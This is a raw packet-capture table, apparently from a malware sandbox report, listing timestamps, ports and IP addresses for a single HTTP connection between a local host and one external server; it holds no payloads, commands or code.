Nov 1, 2024 00:38:42.349628925 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:42.355947971 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.250613928 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.250638008 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.250699997 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.250767946 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.250802994 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.250813007 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.250844955 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.250899076 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.250924110 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.250933886 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.250943899 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.250976086 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.250988007 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.251023054 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.251028061 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.251070976 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.251089096 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.251127005 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.251137972 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.251176119 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.255942106 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.256000042 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.256005049 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.256052971 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.404473066 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.404510021 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.404536009 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.404548883 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.404553890 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.404588938 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.404592991 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.404620886 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.404633999 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.404664040 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.404722929 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.404767036 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.404769897 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.404810905 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.405003071 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.405034065 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.405047894 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.405076981 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.405210018 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.405246019 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.405251980 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.405284882 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.405288935 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.405328035 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.405638933 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.405668974 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.405683994 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.405714989 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.408257008 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.408292055 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.408303022 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.408344984 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.408349991 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.408385038 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.521636963 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.521708012 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.521723032 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.521744967 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.521752119 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.521781921 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.521787882 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.521819115 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.521819115 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.521853924 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.521862030 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.521894932 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.522104979 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.522135019 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.522170067 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.522170067 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.525160074 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.525194883 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.525212049 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.525233030 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.525235891 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.525271893 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.525281906 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.525321007 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.558412075 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.558445930 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.558476925 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.558497906 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.558547020 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.558578968 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.558594942 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.558624029 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.637953043 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.638011932 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.638011932 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.638044119 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.638050079 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.638079882 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.638086081 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.638120890 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.638200045 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.638228893 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.638252020 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.638271093 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.638443947 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.638482094 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.638494968 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.638520002 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.638523102 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.638554096 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.642011881 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.642047882 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.642065048 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.642091036 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.642102003 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.642147064 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.642177105 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.642210960 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.642220974 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.642246008 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.642247915 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.642282009 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.675074100 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.675148964 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.675185919 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.675218105 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.675240040 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.675251007 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.675263882 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.675285101 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.754712105 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.754743099 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.754760027 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.754802942 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.754918098 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.754966974 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.754973888 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.755012035 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.755017996 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.755053997 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.755301952 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.755353928 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.755368948 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.755388975 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.755395889 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.755435944 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.758660078 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.758716106 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.758737087 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.758774042 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.758788109 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.758824110 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.758838892 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.758893967 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.758955002 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.759005070 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.759006023 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.759040117 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.759056091 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.759082079 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.791987896 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.792042017 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.792069912 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.792085886 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.792094946 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.792130947 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.792145014 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.792171001 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.872025967 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.872071981 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.872108936 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.872124910 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.872147083 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.872148991 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.872174025 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.872186899 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.873018026 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.873053074 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.873087883 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.873087883 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.873087883 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.873131037 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.875663996 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.875722885 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.875724077 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.875756979 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.875792980 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.875801086 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.875859976 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.908756018 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.908790112 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.908828974 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.908842087 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.908852100 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.908878088 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.908888102 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.908915997 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.908922911 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.908952951 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.908960104 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.908993006 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.988919020 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.988957882 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.988992929 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.988998890 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.989018917 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.989032030 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.989051104 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.989109993 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.989795923 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.989830017 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.989849091 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.989865065 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.989866018 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.989902020 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.992491007 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.992542982 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.992568970 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.992604017 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.992610931 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.992650032 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.992674112 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.992707968 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.992721081 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.992743969 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:43.992747068 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:43.992789984 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.025701046 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.025758028 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.025774956 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.025803089 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.025809050 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.025847912 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.025859118 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.025890112 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.025902987 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.025953054 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.025957108 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.026005030 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.105504990 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.105523109 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.105535984 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.105561018 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.105582952 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.105600119 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.105635881 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.105674982 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.105710983 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.106522083 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.106542110 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.106553078 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.106573105 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.106591940 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.109226942 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.109266043 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.109280109 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.109294891 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.109319925 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.109411001 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.109421968 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.109461069 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.109570980 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.109580994 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.109616041 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.142260075 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.142271996 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.142319918 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.142492056 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.142534971 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.142545938 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.142558098 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.142591000 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.184111118 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.184192896 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.184201002 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.184242010 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.222316027 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.222378016 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.222393036 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.222418070 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.222426891 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.222462893 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.223390102 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.223421097 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.223444939 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.223468065 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.223484039 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.223520041 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.223531961 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.223557949 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.223566055 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.223593950 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.223611116 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.223638058 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.226159096 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.226217031 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.226233006 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.226264954 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.226280928 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.226310015 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.226317883 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.226352930 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.226370096 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.226389885 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.226402044 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.226437092 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.259434938 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.259491920 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.259494066 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.259536982 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.259545088 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.259587049 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.339459896 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.339519978 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.339544058 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.339556932 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.339580059 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.339591980 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.339601994 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.339628935 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.339632988 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.339669943 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.339693069 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.339731932 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.340255022 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.340291977 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.340303898 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.340327978 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.340333939 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.340370893 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.340399027 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.340440035 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.340451956 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.340488911 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.340495110 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.340529919 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.343050957 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.343086958 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:44.343116045 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:44.343122005 CET	80	49887	185.215.113.16	192.168.2.6
